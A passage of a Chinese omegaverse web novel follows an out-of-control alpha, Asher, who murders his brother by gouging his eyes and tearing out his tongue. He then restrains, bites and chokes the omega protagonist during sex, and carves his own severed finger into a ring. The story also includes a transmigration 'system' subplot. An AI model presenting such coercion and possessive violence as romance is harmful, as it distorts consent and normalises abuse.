西瑞尔倏然张大了双眼,后仰身体从舷梯上坠了下去。 楚青琅抬头,松开手立马上前站在船舷旁。 “啊啊啊啊!!!” 两旁的人尖叫起来。 一道漆黑的身影站在下面,黑色的军装吸饱了鲜血,和那双满是疯狂杀意的红眸映衬,使得整个空气都粘稠冰冷起来。 并不是错觉。 楚青琅下意识的捂住了口鼻,早已熟悉的信息素带着莫大的压迫感在周围弥散。 呼吸间,满是锋利阴冷的血腥气。 但是他一直提起的心却并没有放下来,他皱眉望着下面的alpha,直觉告诉他,现在的alpha不对劲。 若是说以往的alpha是被雪覆盖的火山,那么现在的他,就是彻底爆发出来的火山,携着呼啸而来的暴风雪,带着无尽的毁灭性。 两边本来就被那杀戮和尸体刺激到了的客人,现如今又看见了近在咫尺的杀神,心神瞬间崩溃。 “开船!!快跑!!!” “西瑞尔!我要是死了,我的家族不会放过你们的!!” “救命啊!!!” 西瑞尔腰间被一根长着枝叶的藤蔓缠绕。 就是这个东西将他拽下船的。 他倒趴在地上,浑身骨骼因为强大的alpha释放的压迫而嘎吱作响。 仿佛下一刻就会被直接碾成肉泥。 鲜血滴落形成沙坑,漆黑的军靴上前踩住他的肩膀。 极致的痛苦传来,西瑞尔面容一片扭曲,他抬手扒住那只军靴,却怎么也无法推动。 直到肩膀处的骨骼无法承受住这巨大的力道咔嚓碎裂,那只脚才换了位置,踩住了他伸出攥紧的的手。 无法挣扎。 西瑞尔面容惨白,努力仰头,相似的通透红眸中阴霾密布,唇角颤抖着勾起,带着扭曲的胜利的笑。 “阿舍尔,你还是失败了!现在在所有人的眼中你就是一个怪物!是我……是我赢了!!” 阿舍尔垂眸,瞳孔也完全成了红色,裂纹一般充斥了整颗眼球。 那只脚抬起,血肉模糊的手掌森白骨骼裸露。 他的声音冰冷且艰涩,仿佛从无边深渊中传来,彻底宣告了西瑞尔的死亡。 “你,该死。” 他蹲下身子,伸出两根手指,直直插进了西瑞尔的眼眶,在凄厉的惨叫声中,只微微用力,他硬生生的将两颗眼球连带着神经抠了出来。 就是这双眼看着他和青琅做/爱。 alpha抓着他的头发,苍白指尖伸进西瑞尔的嘴中。 就是这张嘴,想要亲吻他的青琅。 彻底浸润在血腥中的阿舍尔,缓缓的将那舌拔出,指节划过尖锐的齿,被勾下一条条血肉,却全然不知。 凭空而生的灼热仿佛融化了他的面容,心脏眼眶血管中有着万千蚁虫在啃噬。 它们生了翅膀,忽扇晃动着,在皮肉中钻来钻去,被鲜血压下的烦躁和杀意又一次的涌了上来。 仅剩的意识告诉他,还有一个人没有解决。 那个人,想带走他的青琅。 “别杀他!” 高呼声传来,阿舍尔的动作却没有丝毫迟疑。 咔—— 手下的人被扭断了头颅,阿舍尔缓缓抬起了头。 在高高的船舷旁,他看见了两个人,其中一人有着一张熟悉的,带着震惊的双眼。 零星理智在尖啸。 不能让他看见他现在的模样。 不能让他害怕! 他不应该害怕! “学长?” 周峥的声音唤醒了他。 楚青琅连忙松手,指尖因为紧紧抠住栏杆变得充血疼痛。 他下意识转移了视线,落在了朝他微笑的周峥脸上。 但是视网膜上却依然映着阿舍尔杀人的场景。 残忍冷酷,疯狂暴虐。 是从来没在他面前展示过的模样。 这是真正的阿舍尔吗?他的恋人? 楚青琅几乎感到悚然。 周峥握住他的手,晃了一下,“学长怎么没有穿鞋,外面很凉的。 说完,他褪下了自己的鞋子,顺着楚青琅的手臂揽住了他的腰肢。 楚青琅直到他为他系鞋带的时候才回神。 周峥此时依然是一副冷静的样子,仿佛全然没有将船下的alpha放在心上,他甚至连舷梯都没有收回。 鞋子穿好后,楚青琅压下浮动的心绪,扭头想要接着看,却在猝然间对上一张苍白染血的面孔。 猩红眼眸盯着他,时而可怖癫狂,时而冷漠克制。 阿舍尔面部肌肉动了下,似乎是想要露出更为柔和的表情,却在瞳孔颤动间失败。 他说:“青琅,过来。” 楚青琅原本是想要过去的,毕竟周峥还是要留在墨菲斯特才能让他完成任务…… 不对,任务已经可以宣告失败了。 楚青琅彻底清醒。 在阿舍尔将西瑞尔杀死后,剧情偏移幅度大部分上涨,且阿舍尔并没有被杀死…… 楚青琅翕动了下唇,又紧紧闭合起来。 一旁的周峥艰难站起身,此时失去了西瑞尔那个目标,周围弥散的信息素压迫感越发强大。 尖锐的危险感从四面八方传来,神经刺痛,周峥却是拽着楚青琅的手臂将人护在了身后。 “学长不会过去。” 混沌的眼眸包含戾气望了过来。 周峥额上有着汗珠流下,他却带着笑,一字一句道:“如果你将我们全部杀死,到时候一定会有军队过来,那么,学长一定会被你害死。” 他抬手,枪口直指阿舍尔的眉心。 “而且,你现在什么都没有了,你凭什么让学长跟着你?” 墨菲斯特已经成了空壳,如果杀死了他们,克莱斯特家族也会在其他家族的威胁下将阿舍尔彻底放弃,军队会来剿灭他这个危险分子。 阿舍尔当然可以选择什么都不管,自顾自的将楚青琅留下。 这也是他刚刚上来时的想法。 但是。 仅存的理智在看见那双含着水光的眼眸时,清醒的发出疑问。 他舍得吗? 周身的血腥气越发浓重起来,阳光的照耀下,仿佛硫酸将他的骨骼全然融化,阿舍尔在这一瞬间恢复了理智。 他下意识的抬起了手,掌心间满是肮脏的血渍。 楚青琅站在后面,倒是缓缓调整好了心态。 阿舍尔现在这样也不是他想要的,原本他已经平静下来了,易感期的问题也有他来解决,要不是周峥和西瑞尔突然发疯是不会刺激到他的。 所以,总的来说,不是阿舍尔的错。 而且现在任务已经失败了,主系统却还是没有联系他,所以他也不是故意不回去,只是客观条件不允许。 楚青琅按着周峥的手臂准备上前,却听见一声巨响。 “砰!” 周峥扣动了扳机。 子弹在带着恶意的目光中,猛地穿过阿舍尔的发丝。 alpha仿佛被激怒了,那双隐约间带着清明的双眼顿时混沌起来。 周围瑟瑟发抖挤在一起的人顿时瘫倒在地,面容惨白。 楚青琅却只是隐约感觉到了不对劲,空气间的粘稠感加深了,从水中变成了海中。 眼前一花,原本站在那里的alpha就出现在了周峥面前,将他的骨节卸掉,周峥却在一瞬间举起了一个黑色按钮。 他厉喝:“阿舍尔,如果你不想同归于尽的话,就给我滚开!墨菲斯特下面按着炸弹,你应该还没忘吧?” 即将深入眼眶的指尖停下,高大的alpha森冷的注视着他。 “你觉得刀疤是怎么知道这个信息的?” 周峥神情慌张了一瞬,下意识的攥紧了那个按钮,张口想要接着威胁,楚青琅却按下了他的手臂。 “阿峥,可以了。” “学长?” 楚青琅四肢依然虚软,他没有看身后人的目光,走到阿舍尔的面前伸手摸了一下alpha的脸。 “冷静下来,阿舍尔……放开!” 温热的触感传来,阿舍尔下意识的攥住楚青琅的手腕,不顾青年的挣扎将人带进了自己的怀中。 熟悉的重量,将他漂浮的心顿时拉了下来,熟悉的信息素柔软的安抚着他,阿舍尔克制不住的吻住青年的颈项。 他转身向着跳到了船下,叼着自己的猎物躲进了丛林中。 彻底失去理智的alpha只想要将怀里的omega浑身上下重新打上他的标记。 alpha的呼吸急促打在脖颈,信息素裹缠上来,附在每一寸的肌肤上。 楚青琅敏感的打了个颤,眼尾顿时泛了红,双手被藤蔓缠绕于树上,光洁手臂满是红痕,指甲带着被抠下来的树皮碎屑。 阿舍尔粗暴混沌的行为,仿佛沼泽一般将他全然拖拽进去。 肩膀被按住,整个人仿佛被蛇缠绕,钻进了猩热的口/腔,血腥气和被碾碎的枝叶清香,混作一团。 信息素深入皮肉,轻柔抚摸着莹白骨骼,拨弄着里面潜藏的筋脉,或挑或刺。 楚青琅只觉得一阵尖锐嗡鸣混着口口击打声震颤脑海。 灵魂仿佛脱离□□,他眼睁睁的看着两人在阳光的照耀下动作着。 许久,他才听见自己的声音漂浮着传来。 “不要杀……呃他们好不好?” 不能杀周峥。 他是天命之子。 皮肤却只能感受到热烈的呼吸。 粗糙树木在光洁脊背上摩擦,随后被一只手隔开。 阿舍尔阖了阖眼,一只眼眸恢复正常,另一只依然被红充斥眼眶,带着癫狂杀意。 “他想让我们分开。” “不能分开。” 阿舍尔沙哑着声音说:“我们一起死。” 他这样说着。 理智和疯狂却在脑海中博弈。 一个叫嚣着要他留下,就算是死,他们也要死在一起。 周峥那家伙也要死!要时时刻刻看着他们在一起! 另一个分析着,他的omega有着光明的未来。 他不应该一直蜗居在这狭小的岛屿上。 他应该被所有人注视着,艳羡着。 克莱斯特家族会成为托举明珠的最坚硬的利剑。 楚青琅心中一沉,正准备挣扎,alpha张口咬住了他的脖颈。 尖锐的刺痛传来,属于alpha的信息素钻进,顺着血液流淌全身。 楚青琅的神情顿时空白起来,瞳孔失焦,唇张开,气流从喉间溢出。 冰冷的手抓住他的手腕,将其摊开,望掌心中放进了一个皮质的坚/硬的东西。 楚青琅想要看去,却被按住后脑封住了唇。 猩意在视网膜上残留,舌尖被不断吮着。 酥/麻感直冲天灵盖,楚青琅下意识的攀附上了alpha的肩膀,细长手指攥紧,血液染红了指尖。 噗呲—— 轻微的,破开皮肉的声音传来。 湿热感浸透了骨节,指缝,每一寸的神经。 手腕被带着划动,直到轻微的滞空感传来。 意识到不对,楚青琅奋力偏头,躲开他贪婪的啃噬,低头看去。 鲜血顺着手腕滴落,alpha的无名指掉落,一小截染血斑驳的指头出现在他的眼前。 楚青琅顿时被惊到,他下意识的想要后退,却被alpha圈住了腰肢。 阿舍尔面上带着嗜血的冰冷的笑,“本来想给你我的心脏,或者眼睛,想要你记住,我一直在看着你,就算是离开我也要和别人保持距离。” 他语气缥缈,明显的不正常。 “但是我发现自己还是人,刚好无名指是带戒指的地方,下次见面后,拿这个做戒指好不会?” 楚青琅咽了下口水,突然说:“那你的戒指呢?” 不会也要拿他的手指做吧? 阿舍尔贴着他的脸,几乎要将整个人黏在他的身上。 “不会,都用我的。” 他勒的太紧了。 楚青琅有些喘不过来气。 第77章 第 77 章 骨戒。 染血的刀子被扔到一旁。 面前的alpha抬手, 里面森白骨茬随着呼吸的起伏若隐。 他抬起手,用那个断指的手摸着他。 阿舍尔明显也感受到了痛意,但是反馈到猩红眼眸中,却只有兴奋癫狂, 将那张冷峻面孔染上了万花筒般污浊的色彩。 温热的液体顺着面颊流下, 楚青琅有点悚然又有点担心他失血过多。 他挣了挣, 掌心不自然的半拢着, 既不敢将那指骨扔了,也不敢真的收下。 不过现在任务已经失败了, 就算是留在这里被军队弄死也无所谓其实。 至少比带着一根人的指骨到处跑来的好!是真的骨头啊,还是他刚刚割下来的! 楚青琅内心尖叫。 还带着泪的面颊通红。 颊肉一面被血液糊满,一旁带着鲜明的牙印。 眼睫毛被舔舐的湿漉漉的,凝成一簇簇的倒伏下来,看着可怜极了。 桃花眼水汪汪的, 身子都僵硬住了。 阿舍尔抓住他的手腕深深坐下。 一股电流从脊背窜到头皮,楚青琅咬牙仰头,想要曲起腿, 但是却被硬生生的压下。 骨头硌着掌心, 鲜明的触感让他头皮发麻。 楚青琅:“不, 我不走了,这个你自己留下吧。” 阿舍尔瞧着他, 唇扯开, 身上森寒的冷意乍然深重。 原本alpha还似带着理智,但是现在仿佛已经彻底失控,变成了冷血动物,一个疯子。 瞳孔竖起,带着贪婪嗜血的意味。 一只手甚至已经松开对楚青琅的桎梏, 握住了他的脖颈。 氧气被大掌一点一点的挤出,血腥气在鼻端萦绕。 金灿灿的光芒将树叶穿透,苍白的面孔离得极近。 楚青琅觉得阿舍尔变换成了一种无形的东西,紧紧缠绕在他的四肢骨节上。 他木僵在原地,脑中不断想着解决办法。 现在和阿舍尔说话是讲不通的,虽然不知道为什么但是他分明已经彻底的失控了。 但是还好他是omega,可以安抚他。 楚青琅努力放软身体,桃花眼眯起,伸手抚着他的臂膀,“阿…阿舍尔,看着我。” 玫瑰信息素从口间指尖溢出,亲亲密密的绕着alpha打转,梳理着混成一团的信息素。 指尖叩动灼/烫腺体,划出道道血痕,玫瑰信息素沉浸钻入。 在被信息素入/侵瞬间,阿舍尔的身躯凝滞了一瞬,身体防御似的绷紧,苍白肌肉块块隆起,汗水融着鲜血滚滚落下。 还在里面的楚青琅神情空白片刻。 反应过来后,他咬着唇努力平静,控制着自己的呼吸。 差点,差点就没了。 以往这样安抚很快就会起效果,但是此时的alpha,动作越发狂热和粗暴。 楚青琅觉得,自己好像不应该火上浇油,也许alpha发泄了就冷静下来了。 但是他已经疯了一晚上了啊! 铺在地上的大衣都被凝固的鲜血板结成了黑褐色,摩擦中,在身上留下了一道道印记。 仿佛所有人都参与了一般。 楚青琅晃了下脑袋,已经完全不知道自己在想什么了。 从齿间满溢而出的一波一波的吟哦,成为了最好的抚慰剂,将处于失控状态的alpha拉回了现实。 虽然只有短短的一瞬。 他抓住转身要爬出去的omega,将人硬生生的拽回自己的巢穴。 鲜血顺着胸口流出,将omega的身上同样染上了他肮脏的血液。 那唇猝然张开,溅出的鲜血在阿舍尔的视线中落了进去。 修长脖颈上红痕斑驳,精致喉骨滑动,混着鲜血的涎水被吞咽进身体。 阿舍尔肾上腺素飙升,他捧起楚青琅的面颊,声音温柔,神情却因为浓重的侵略感显得格外可怖。 “好乖,全都咽下去了。” 拇指撬开唇,洁白整齐的牙齿露出,舌尖上一点暗红仿佛标记。 密长眼睫下垂,疏出迷蒙光影,虹膜泛起粼粼波光,蛊惑人心。 十指交叉,掌心处的骨骼被升高的体温捂热。 楚青琅喘息了一下,在又一次袭来缠上的alpha的信息素下闭上了眼。 一阵沉重的气息后,一只手将他双眼捂住,吻住了他的唇。 信息素仿佛海水,将他的五感蒙蔽,时间在此刻停滞。 …… “我们先走吧,那个人被抓走了一定活不下去了。” “要是那个怪物再过来我们会死的!” “我已经通知了家里,他们很快就会派人过来把那个家伙杀死。” “该死的西瑞尔!我要让他们家彻底完蛋!!” 身后嘈杂的声音从确认alpha消失之后就不断响起。 有人试图下去,让船员开船,却被一颗子弹阻止。 于是那些人再次挤成一团,将怨恨的目光投向了站在船舷旁一动不动的周峥。 一个面容娇艳的omega走上来,伸手就要勾住他的手腕,却被周峥利索躲开。 看着黑洞洞的枪口,和那双漆黑冰冷的双眼,他僵笑起来,“这位,既然那个怪物已经走了,我们要不要离开这里?还有你刚刚不是说这个墨菲斯特里面埋着炸弹吗?要不干脆将他全炸了。” 男性omega越说越激动,“这样那个怪物绝对活不下去!他杀了那么多的人,尸体都能堆成山了,就让他在里被炸死算了。” 周峥没有反应,眼神都没给他一个。 omega只能继续道:“我家里在中心城还有一些权势,如果你…” 周峥打断他道话,声音阴冷,“我从来不打omega,希望你不是第一个。” omega顿时磕巴起来,眼中出现恼怒,正准备威胁,余光却瞥见一道熟悉的,刻入骨髓的身影走来。 恐惧感瞬间涌来,他如尖叫鸡一样叫了一声,转身离开了船舷。 周峥同样发现了那个身影,迈开脚步就要下去。 动作却突然凝滞。 宽大的黑衣将青年omega包裹住,露出一张双眼紧闭的面孔,先前每次见到的情况都更加严重。 就像是他剥下那个皮子,会漏出的鲜红肌肉。 此时那些相似的痕迹顺着omega的脖颈蔓延到脸颊两侧,眼唇都是被过度使用后的颜色。 垂下来到手腕骨骼突出,手腕处带着捆缚的痕迹。 察觉到他的视线,alpha凝了过来,眸光冷厉清醒,面容英俊,没有丝毫失控的迹象。 周峥攥紧栏杆,在这一瞬间意识到一个恐怖的事实。 他眼睁睁的看着alpha走上舷梯,来到了甲板上。目光中全无在他一旁瑟瑟发抖的人。 他看着周峥,嗓音平直。 “他的房间在哪里?” 一上来,alpha的信息素就铺满了整艘船,将所有人都压在自己的脚下。 虽然阳光已经西沉,但是青年眼皮薄,照射进去还是让他感受到了些许的不适,不由得皱了皱眉。 alpha很敏锐的察觉到到了这一微小的反应,他让怀中的青年换了个姿势,趴伏在他的肩头,一只手托着他的腿弯,一只手抚摸了一下他的后颈和发。 周峥又一次的被压制住,他从咽喉挤出声音,几乎算得上凄厉,“你知道?” 阿舍尔面容冷峻,乜过去的视线漠然。 “墨菲斯特是我建造的,没有人会比我更熟悉他,就算是里面的人也是。” “你们的目的,浅薄的可笑。” 周峥呼吸间带着血腥气,他攥紧了拳头,指甲嵌入掌心。 “刀疤——” 阿舍尔安抚的轻拍青年的脊背,因为发/情期被引诱出来,快/感将他的身体变得敏感,所以只是轻微的触碰就能得到轻微的哼唧声。 alpha不耐的打断周峥的话,嗓音带着被满足后的淡淡厌倦,“刀疤是西瑞尔的人,西瑞尔是我弟弟,而克莱斯特家族是有着缺陷的家族,我怎么会不了解他。” 周峥心中发寒,他猛地后退一步,看着穿着军装的alpha仿佛在望着一个不可名状的怪物。 就算是全部知道,alpha却依然按照了他们的算计来…为什么? 刀疤说这座岛屿内部埋藏着,能够将整座岛沉没的炸弹,到底是真的还是假的? 为什么这个alpha会任由他们破坏墨菲斯特?他当时一定是真的疯了…… 周峥张嘴想要接着问,但是阿舍尔却已经不想等待,指缝间寒光一闪,周峥瞬间跪了下去。 “走。” 冰冷声音落下。 周峥缓缓放开了手,踉跄着将人带进船体。 脚步声轻微,铁锈般的信息素下,潜藏着柔和甜蜜的玫瑰香气,如雾气一般,不仔细分辨几乎察觉不到。 一路上畅通无阻,阿舍尔在看见了楚青琅居住的环境时,忍不住皱了下眉。 却并没有说什么,弯腰将人放在了床上,一个个的解开他身上的衣扣。 身后,周峥看着他并未设防的后背,持枪的手缓缓抬起。 “青琅说你不能死,所以不要干一些会惹怒我的事情。” 阿舍尔动作不停,声音格外冷漠。 昏睡的青年肩膀被抬起,染血的衣服褪下,露出满是痕迹的躯体。 周峥的嗓音沙哑,仿佛含着沙砾,他一字一句道:“你想要重新回到中心城?” 阿舍尔动作顿了下,他转身,第一次正视了面前的人。 “青琅必须要最好的环境,而克莱斯特会成为托举他最好的工具。”他说:“墨菲斯特不过是个囚牢,它可以困住我,但是不能让他一直在这里。” 周峥持枪的手纹丝不动,他问:“你现在已经是声名狼藉,你就算是回到了克莱斯特,你家族的人也不会承认你。而那些贵族回去后会派军队过来,你必死无疑。” 阿舍尔和他对视,面容肌肉牵起削薄的唇上移,他竟然露出了一个笑来。 “你真的很聪明。”他说:“所以就需要你把你手中的那个按钮,找个合适的机会交给该给的人。” 周峥一阵头晕目眩。 他的胸膛快速起伏了几下,并没有询问为什么alpha会觉得他会帮助他。 学长就躺在他的身后,就算周峥再怎么不甘,就像那些人所说的那样,omega始终和alpha在一起,才是实至名归。 阿舍尔又是如此强大,还将他们耍的团团转。 更何况,学长又是如此的……青睐于他。 周峥放下手枪,脚踝处被割断的脚筋传来一阵阵的刺痛。 “我会帮你完成假死,但是你要发誓,克莱斯特家族,永远不会再次成为学长的禁锢。” 阿舍尔掌心处的寒光消失,他遗憾的想,周峥做出了正确的选择。 在周峥的逼视下,alpha还是站在房间中央说出了最后的一段话,话语冷酷又笃定。 “克莱斯特家族永远不会成为青琅的阻碍。” “不然他们就去死。” 房间一片静谧。 良久,神情恍惚的周峥颓然的转身出去,只在地上留下一滩淤泥般的血液。 阿舍尔并没有在乎他的想法,只是转身将青年身上的衣服全脱下来,随后抱着人走进了浴室。 淅淅沥沥的声音响起。 很快,他就将包成粽子的青年抱回了卧室。 只是站在房间中扫视了一圈,他还是转身离开了这里,上了顶层,来到了西瑞尔的房间。 相比起原本那间客房,西瑞尔的房间风格完全符合他的做派,奢华典雅。 阿舍尔又在衣柜中挑出了几件衣服给青年穿上。 他把被子仔仔细细的盖了上去。 最后,看着青年安睡的容颜,阿舍尔垂头吻了一下,一触即分。 柔密地毯将所有声音吸收,更何况alpha的岁所有动作都是如此的轻。 阿舍尔拉过凳子坐在床边,拿出自己的指骨和匕首,细致的雕刻起来。 簌簌声响起。 碎屑顺着指尖落下,在灯光的照耀下熠熠飞舞。 …… 等再次恢复意识,楚青琅下意识的弯曲手指想要翻身。 指根传来熟悉的束缚感,手背一片温热。 楚青琅猛地睁眼,扭头望去,“阿舍尔——” 黑发黑眼的周峥坐在他的面前,面容惨白,神情却格外温柔。 他拿起他的手,放在额旁轻轻触着,“学长,我们回来了。” 楚青琅只觉得头脑一阵晕沉,他阖了阖眼,周峥极有眼色的上前帮他坐起,按压太阳穴。 缓了一会儿后,楚青琅拽下了他的手,“我睡了多久,怎么回来的,阿舍尔呢?” 周峥笑着对他说,神情褪去了在墨菲斯特的阴沉诡谲,竟然带上了几分少年气。 “学长你睡了两天了,我们现在在学校宿舍。” 他犹豫了一下,仿佛辩解道:“因为学长是omega,如果像学校说出我们的经历,我们的性别就该被暴露出去了,所以我对外说我们是去别的地方游玩了。” 楚青琅靠在床头,抬眼瞧他,“阿舍尔和墨菲斯特怎么样了?” 周峥沉默了一瞬,他说:“学长,西瑞尔带来的那些人是贵族,在他们施加的压力下,中心城对于阿舍尔的失控和西瑞尔的行为不会坐视不管。” “炸弹我已经交给了中心城派去的军队,现在他们应该已经到了。阿舍尔依然是人类,所以他不会活下去。” 话音落下,楚青琅垂下了眼。 俊美的面容上没有丝毫表情,仿佛拢上了一层薄冰,阳光落在那高挺的鼻梁和唇上,融出金灿灿的虚影。 修长白皙的手摊开,无名指上赫然套着一个莹白的带着一圈圈血丝的戒指。 简单素净,摸上去,周围被打磨的光滑。 楚青琅说:“知道了,你出去吧。” 周峥深呼吸了一下,伸手想要抓他,却被抬起头的青年笑着抵了回去。 桃花眼弯起,一如既往。 “先出去好吗?” 周峥紧握双手,他说:“他死了,学长可以接受我吗?” “我们都是omega,我们有着相同的理想和经历——” 啪的一声,鲜红指印在脸侧浮现。 楚青琅收回手,语气依然轻柔,但是眸光流转间,如冰凌般刺人。 “他没死,周峥,不要让我再重复一遍。” 阿舍尔会死? 开什么玩笑? 楚青琅很理智,先不说碰见那么紧急的情况下,阿舍尔是怎么有着闲情逸致将自己的骨头给他打磨好套上去的。 就以他对他的了解来说,那个人就算是死了,也会变成鬼来找他的。 楚青琅如此笃定着。 但是周峥却并不了解他的想法,只认为他是伤心过度,才不愿意相信。 他张嘴想要接着说什么,但是看着青年冷淡淡面容,还是将劝告的话咽了回去。 “那我先走了学长,如果有问题的话,可以通过掌端来找我,我时刻在。” 楚青琅没有回复,直到房门咔哒一声关闭,他才有闲心观察期周围的环境来。 他所上的军校是中心城最大的的学校,绿化做的极好,从窗外望去,满是绿茵茵一片。 宿舍是别墅型双人间,但是他招生不多,因此他是单人住宿。 楚青琅揉了下眼,下床去洗漱。 等顶着湿漉漉的发出来,他顺手拿起了床头柜上放着的掌端。 一打开,就是熟悉的名字还有新闻弹窗。 【周峥:学长你身上还有他的信息素,这两天不要出来,我已经帮你请过假了。】 【xx军事报:航行警告!#环海西部海域将进行海上实战演习#10月16日晚18时进行实弹射击,禁止任何船只驶入。】 【xx娱乐报:惊!昔日中心城砥柱克莱斯特家主遇袭,多家族联合狙击背后藏何密辛?】 【xx小报:#爆!惊人美貌惑人心,多名贵族死里逃生竟是因一位omega#据相关人士透露,克拉斯特的家主并不是西瑞尔克莱斯特,反而是他的哥哥[展开]】 …… 看了一眼后,楚青琅利索的将掌端合上。 这都什么乱七八糟的东西! 第78章 第 78 章 主神。 楚青琅将脑子里的那些新闻挥开, 坐在沙发上打开了系统面板。 现在任务已经失败,按照往常的逻辑来说,他是可以直接强制退出的。 只是按照之前传送到这个世界的情况来说。 他很有可能还是会遇上空间风暴,然后被传送到未知的世界。 【请问是否选择强制退出, 监测到您未全部完成任务, 一旦退出将判定考核失败。且因未知原因影响, 强制退出通道并不稳定, 请考核系统谨慎选择。】 指尖在空中犹豫了一会儿,楚青琅还是将选项关闭。 他拉出和主系统的通信。 想要询问主神空间到底什么时候能好。 意外的, 除了他未发出去的信件,他还发现了两份不知何时发过来的信件。 应该是因为主神空间出现了问题,所以才会没有在面板上显现,让他忽视了过去。 【主系统:主神已苏醒&$^$%主神空间暂且关闭,请考核系统楚青琅自主完成任务, 安静等待%*#&】 【主系统:不要去下一个世界,不要回主神空间。】 楚青琅凝视着最后一句话,心中疑窦丛生。 不让他去下一个世界还能理解, 但是不让他回主神空间为什么? 难道要他在这个世界呆到死亡吗? 这个世界人类的寿命还挺长的。 楚青琅下意识摸了一下指根, 因为那温凉的触感而垂下了眼。 拿下来, 莹白的骨骼被削成圆形,内部刻着阿舍尔的名字。 嗯, 留下来也不是不行。 这么长的时间, 主神空间的问题一定修复好了。 不过主神苏醒了是好事啊,怎么会造成主神空间的混乱? 楚青琅有点想不明白。 就在这时,放在一旁的掌端震动了一声。 这代表着有人给他发了消息。 现在他回来的消息除了周峥,别的人应该都不知道,更何况给他发消息了。 没了任务的要求, 楚青琅懒得搭理他,只是放松下来,他就察觉到口舌上传来了被用力裹吸过的胀感。 他捂了下嘴,站起身下楼找一些水果来祛除一下。 打开门,楼梯栏杆旁可以直接瞧见客厅灯布局。 水晶吊灯极轻微的晃动着,璀璨光芒刺入眼眸。 楚青琅突然顿住脚步,一个想法划过脑海。 主系统说的是下一个世界。 但是每次进入小世界都是他自己挑选的。 主系统怎么会知道? * 主神空间·无尽星海。 目之所及尽是昏暗,密集星光点缀其中,那是一个个小世界,此时明灭不定。 主系统沿着记忆的路线匆匆行着。 越来越深入,直到于无尽星海深处,来到一个高高的宫殿前,它才停了下来。 【权限验证中——】 【验证通过,权限码001x,主系统请进。】 仰头看去,宫殿大门几乎看不见顶。 缭绕雾气将门半截,不知从何而来的光亮使得主系统只能看见门上令人目眩的浮雕。 随着门缓缓打开,漆黑通道展露于它的面前。 与此同时,一股混乱强大的,可以撕裂整片星空的力量蔓延出来。 毁灭中又带着诡异的生机神圣,两者互相吞噬,互不相让。 主系统光滑的表面顿时窜出一行行密集的代码,散发着红光。 轻微的碎裂声响起,主系统模拟出了欲哭无泪的表情。 又要更换身体了! 真是的,那些天道抠门死了,到时候肯定被宰。 主系统长叹一口气,认命朝着里面行去。 星河融成海水荧幕,挡在了高坐之上的王位,阻碍了所有的窥视。 主系统停下,身上的碎裂声连绵不绝,红光时间刺眼。 “主神,已经全面封闭主神空间,也向他发送了警告信息,但是因为您和那位争斗而外溢的力量,所以信息传过去可能会出现缺损。” 一直沉睡的主神突然醒来,属实超过了主系统的预料。 毕竟自从上一届主神被吞噬,现主神将一切都维持了原状,除了重新孕育出一个灵魂之外,并没有什么别的动作。 在它的得到的计划中,主神至少要等到那个灵魂完成最后一个世界才会被唤醒。 不过依照它的感受,现在的主神很有可能是被迫醒来。 毕竟别的世界的“他”就算是再如何强大,也只局限在生物这一方面,并不会对主神造成什么冲击。 但是现在和主神斗争的那位,可是完全脱离了生物状态的——神明。 星光荧幕上波动,缓缓凝成几个字。 【祂会用尽一切办法引他过去,将他藏起来。让他在那个世界留下,“我”会保护他。】 主系统只是看了一眼那个信息,身躯变迅速崩裂起来。 蛋形下方泯灭成碎屑,落下,又被无尽黑暗吞噬。 在最后一寸身躯消散前,它恭敬又空灵的声音传了出来。 “是,主神。” 主系统彻底消失后。 宫殿大亮,星河凝成长桌,有几人从壁柱间浓郁的黑暗中走出。 坐在了长桌之上。 * 五色水果整整齐齐的被摆放在盘子中,修长手指放下,银叉反射出冰冷的光芒。 楚青琅咀嚼着口中的脆甜的蜜瓜,只觉得心情都好了起来。 虽然主系统说的话确实有可疑的地方,但是它又不可能害他。 所以就当他想多了吧,反正他现在也离不开,与其强制退出又碰到什么莫名其妙的世界,还不如在这里呆着。 至少他对突发事件还有些把握。 楚青琅看了一眼掌端,上面正不断的弹出各种信息。 犹如瀑布一般。 在原主的记忆中,这种情况是正常的,毕竟他在这所学校还挺出名。 叮—— 门铃声响起,随机屋子里的智能管家在楚青琅面前投影出门外的场景。 同掌端交叠在一起,让人有点眼晕。 楚青琅抬头,那投影随着他的视线转移。 机械声在耳边响起。 【瞳孔识别中,来人姓名:周峥。】 【备注:学弟。】 【请问主人是否开门?】 投影上,周峥手的一旁拎着一些袋子,神情平静,发后梳,显出一些冷淡来。 楚青琅疑惑的瞅了他一眼。 连脸上的掌印都还没消下去,怎么还上赶着来。 仿佛察觉到他的视线,周峥对上了监视器,露出笑说:“学长没办法出去,我看冰箱里面也多是水果,所以我就带了一些菜来。” “还有等下学长要出去逛逛吗?天快黑了,小心一些的话不会有人发现的。” “学校新开设了一门机甲专业,还有专门的机甲模拟训练室,我向老师要了权限,我们吃完饭后可以一起去练一下。” 他此时表现的真的像是一个礼貌的学弟,连眼神中那些黏哒哒的感情都消失不见。 楚青琅确实感到无聊。 他搜索了许多克莱斯特家族,还有那个那个军队去海上演习的消息,但是风平浪静的,什么都没有。 楚青琅盯着手上的戒指,都想给它扔了,看看能不能召唤出一个阿舍尔来。 最终他还是放弃了这种幼稚的想法。 “开门。” 声音落下,房门缓缓打开。 周峥走过来,唇翘的更高了。 他似乎很是享受这种和青年共处一室的情况。 “学长饿了吗?” 周峥看了一眼桌子上的水果,皱了下眉,有点担心。 楚青琅玩着掌端,被色彩缤纷的广告吸引了目光,只是说:“还好。” 他确实不饿,可能是因为他没有什么吃饭的习惯,所以就经常下意识的忽略进食这项活动。 “那我先少做一些,学长你稍微吃一些,不然等下去训练室会支撑不住的。” 周峥说完转身走进了厨房。 楚青琅嗯了一声,又将全部的注意力投到了掌端上。 下载完成之后,富有节奏感的音乐在空中响起,出现在眼前的是一排像素风景。 广告说可以建造各种不同的场景和东西。 楚青琅试着操作了一下,很快,一颗蛋就出来了,他为其增加了火柴一样的四肢,和拟人的表情。 白皙指尖点上,那个蛋就跟着他的手转动起来。 楚青琅忍不住笑弯了眼。 真的很像主系统啊。 他点击了完成,弹了一下它的额头,那个蛋面上的表情变得迷茫,还随着他的动作后仰。 很快,那个蛋就因为他的折腾生气起来,迈着火柴腿躲在了一个像素石头后面。 楚青琅也不在意,他已经开始设计下一个来。 系统009号,系统010号,系统003号。 一个个,生龙活虎活灵活现的出现在他的眼前,聚集在一起说着看不懂的话。 看着它们,楚青琅因为主神空间出现问题而始终隐忧的心都落了下来。 没关系的,主系统会保护它们的。 周峥一出来,就看见青年窝在沙发一角玩着游戏。 长腿交叠搭在沙发上,头微歪。 黑发有点长了,扎了一个啾啾,露出白皙的脖颈。 